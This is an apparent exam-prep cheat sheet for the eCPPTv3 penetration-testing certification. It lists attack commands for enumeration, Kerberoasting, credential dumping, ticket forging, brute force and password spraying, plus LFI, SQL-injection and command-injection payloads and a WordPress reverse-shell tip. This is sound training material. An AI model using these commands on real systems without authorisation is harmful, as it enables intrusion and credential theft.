A practical reference for INE Security's Certified Professional Penetration Tester (eCPPTv3) exam — exam domains, a condensed cheat sheet, the tools that actually get used, and what the 24-hour practical exam is really like.
SMB / 445
nmap -p445 --script smb-os-discovery,smb-enum-shares,smb-enum-users,smb-protocols <target>
smbclient -L //<target> -N
smbclient -L //<target> -U '<user>'
smbmap -H <target> -u guest
smbmap -H <target> -u '<user>' -p '<pass>' -x 'id'
enum4linux -a -u '<user>' -p '<pass>' <target>
nxc smb <target> -u '' -p '' --shares
FTP / 21
nmap -p21 --script ftp-anon,ftp-syst,ftp-bounce <target>
ftp <target>
ftp anonymous@<target>
SSH / 22
nmap -p22 --script ssh-auth-methods,ssh-hostkey <target>
ssh <user>@<target>
ssh -i id_rsa <user>@<target>
DNS / 53
dig @<dc_ip> domain.local
dig @<dc_ip> domain.local AXFR
dnsrecon -d domain.local -n <dc_ip>
dnsrecon -d domain.local -n <dc_ip> -t axfr
HTTP / HTTPS / 80 / 443
nmap -p80,443 --script http-enum,http-title,http-headers,http-methods <target>
whatweb http://<target> -v
nikto -h http://<target>
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak
feroxbuster -u http://<target> -w common.txt -x php,html,txt -r
ffuf -u http://<target>/FUZZ -w common.txt
ffuf -u http://FUZZ.domain.local -w subdomains.txt -H "Host: FUZZ.domain.local"
RPC / 135
rpcclient -U "" -N <target>
rpcclient -U "<user>%<pass>" <target>
# inside rpcclient: enumdomusers, enumdomgroups, queryuser <RID>, querygroupmem <RID>
LDAP / 389 & 636
nmap -p389 --script ldap-rootdse,ldap-search <target>
ldapsearch -x -H ldap://<dc_ip> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
ldapsearch -x -H ldaps://<dc_ip> -D "<user>@domain.local" -w '<pass>' -b "DC=domain,DC=local"
MSSQL / 1433
nmap -p1433 --script ms-sql-info,ms-sql-empty-password <target>
impacket-mssqlclient <user>:<pass>@<target>
# inside mssqlclient: enable_xp_cmdshell ; xp_cmdshell whoami
MySQL / 3306 & PostgreSQL / 5432
mysql -h <target> -u root -p
psql -h <target> -U postgres -d postgres
RDP / 3389 & WinRM / 5985-5986
nmap -p3389 --script rdp-ntlm-info <target>
xfreerdp /u:<user> /p:'<pass>' /v:<target>
xfreerdp /u:<user> /pth:<nthash> /v:<target>
evil-winrm -i <target> -u '<user>' -p '<pass>'
nxc smb <dc_ip> -u '' -p '' --users
nxc smb <dc_ip> -u '' -p '' --rid-brute
nxc smb <dc_ip> -u 'guest' -p '' --users
nxc ldap <dc_ip> -u '<user>' -p '<pass>' --query "(objectClass=user)" "userPrincipalName"
rpcclient -U "<user>%<pass>" <dc_ip> -c "enumdomusers"
kerbrute userenum --dc <dc_ip> -d domain.local users.txt
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt
nxc ldap <dc_ip> -u users.txt -p '' --asreproast asrep.txt
hashcat -m 18200 -a 0 asrep.txt rockyou.txt
john --format=krb5asrep --wordlist=rockyou.txt asrep.txt
impacket-GetUserSPNs -request -dc-ip <dc_ip> "domain.local/<user>:<pass>" -outputfile spn.txt
nxc ldap <dc_ip> -u '<user>' -p '<pass>' --kerberoasting spn.txt
hashcat -m 13100 -a 0 spn.txt rockyou.txt
john --format=krb5tgs --wordlist=rockyou.txt spn.txt
impacket-secretsdump 'domain.local/<user>:<pass>'@<target>
impacket-secretsdump 'domain.local/<user>'@<target> -hashes :<nthash>
nxc smb <target> -u '<user>' -p '<pass>' -d domain.local --sam
nxc smb <target> -u '<user>' -p '<pass>' -d domain.local --lsa
evil-winrm -i <target> -u '<user>' -H '<nthash>'
wpscan --url http://<target> -e vp,vt,u
wpscan --url http://<target> --usernames admin --passwords rockyou.txt --max-threads 10
If you land in the WordPress admin panel, the Plugin File Editor is the fastest route to code execution — edit a plugin file, drop in a PHP reverse shell payload, save, and catch it with a listener before triggering the page.
hydra -l <user> -P rockyou.txt ssh://<target>
hydra -L users.txt -P passwords.txt smb://<target> -t 1 -V
hydra -l administrator -P rockyou.txt rdp://<target>
hydra -L users.txt -P passwords.txt winrm://<target> -t 4 -V
hydra -l admin -P rockyou.txt <target> http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect" -V
Useful Hydra flags: -l single user, -L user list, -p single password, -P password list, -t parallel tasks, -V verbose, -f stop on first hit, -s custom port.
Rule of thumb for every brute-force step above: work the smaller wordlists on the exam desktop first, and only reach for rockyou.txt once they've genuinely failed.
SMTP / 25
nmap -p25 --script smtp-commands,smtp-enum-users,smtp-open-relay <target>
smtp-user-enum -M VRFY -U users.txt -t <target>
nc <target> 25
SNMP / 161
nmap -sU -p161 --script snmp-info,snmp-sysdescr <target>
snmpwalk -c public -v1 <target>
snmpwalk -c public -v2c <target> 1.3.6.1.2.1.25.4.2.1.2
onesixtyone -c community.txt <target>
NFS / 2049
nmap -p111,2049 --script nfs-showmount,nfs-ls <target>
showmount -e <target>
mount -t nfs <target>:/share /mnt/nfs -o nolock
Oracle / 1521 & Telnet / 23
nmap -p1521 --script oracle-sid-brute <target>
nmap -p23 --script telnet-encryption <target>
telnet <target>
impacket-psexec '<user>:<pass>@<target>'
impacket-wmiexec '<user>:<pass>@<target>'
impacket-smbexec '<user>:<pass>@<target>'
impacket-atexec '<user>:<pass>@<target>' whoami
nxc smb <target> -u '<user>' -H '<nthash>' -x whoami
nxc winrm <target> -u '<user>' -p '<pass>'
# Pass-the-Hash
impacket-wmiexec -hashes :<nthash> '<user>@<target>'
xfreerdp /u:<user> /pth:<nthash> /v:<target>
# Pass-the-Ticket
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <sid> -domain domain.local Administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass domain.local/Administrator@<target>
# Golden Ticket
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <sid> -domain domain.local -user-id 500 Administrator
# Silver Ticket (service account, e.g. CIFS)
impacket-ticketer -nthash <service_hash> -domain-sid <sid> -domain domain.local -spn cifs/<target> Administrator
impacket-secretsdump -just-dc domain.local/<user>:<pass>@<dc_ip>
nxc ldap <dc_ip> -u '<user>' -p '<pass>' --users --admin-count
nxc smb <dc_ip> -u '<user>' -p '<pass>' -M gpp_password
bloodhound-python -u '<user>' -p '<pass>' -d domain.local -ns <dc_ip> -c All
nxc smb <dc_ip> -u users.txt -p 'Summer2025!' --continue-on-success
kerbrute passwordspray --dc <dc_ip> -d domain.local users.txt 'Summer2025!'
Linux — general enumeration
sudo -l
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*; crontab -l
find / -writable -type d 2>/dev/null
cat /etc/passwd | grep -v nologin
id; groups
uname -a; cat /etc/os-release
ps aux | grep root
docker ps 2>/dev/null; groups | grep docker
./linpeas.sh
./pspy64
Linux — history & stray credentials
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat /root/.bash_history 2>/dev/null
find / -name "*.bash_history" 2>/dev/null
find / -name "*.history" 2>/dev/null
grep -ri "pass\|pwd\|secret\|key" ~/.bash_history ~/.*history 2>/dev/null
find / -name "*.cnf" -o -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null
cat /var/backups/*.bak 2>/dev/null
find / -name "id_rsa*" -o -name "*.pem" 2>/dev/null
Windows — general enumeration
whoami /priv
whoami /groups
systeminfo
wmic qfe list brief
wmic service list brief
schtasks /query /fo LIST /v
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query HKLM\SYSTEM\CurrentControlSet\Services\Snmp\Parameters\ValidCommunities
accesschk.exe -uwcqv "Authenticated Users" *
winpeas.exe
Windows — history & stray credentials
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Get-Content $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
dir /s /b *ConsoleHost_history.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" C:\Users\*\AppData\Roaming\*.*
dir C:\Users\<user>\AppData\Local\Microsoft\Credentials
cmdkey /list
type C:\unattend.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
# SQL injection
sqlmap -u "http://<target>/page?id=1" --dbs
sqlmap -u "http://<target>/page?id=1" -D dbname --tables
sqlmap -u "http://<target>/page?id=1" --os-shell
# Local / remote file inclusion
curl "http://<target>/page.php?file=../../../../etc/passwd"
curl "http://<target>/page.php?file=php://filter/convert.base64-encode/resource=config"
# File upload bypass (common extensions to try)
shell.php.jpg / shell.phtml / shell.pHp / shell.php;.jpg
# Command injection probes
; id
| id
`id`
$(id)
The eCPPTv3 exam runs for 24 hours inside a browser-based Guacamole environment — no VPN, no pivoting setup. You're handed a Kali box and five targets: one standalone website and four machines that belong to the same Active Directory domain. The 45 exam questions are mostly multiple choice with a handful of flag submissions, and results are auto-graded against the domain weighting above.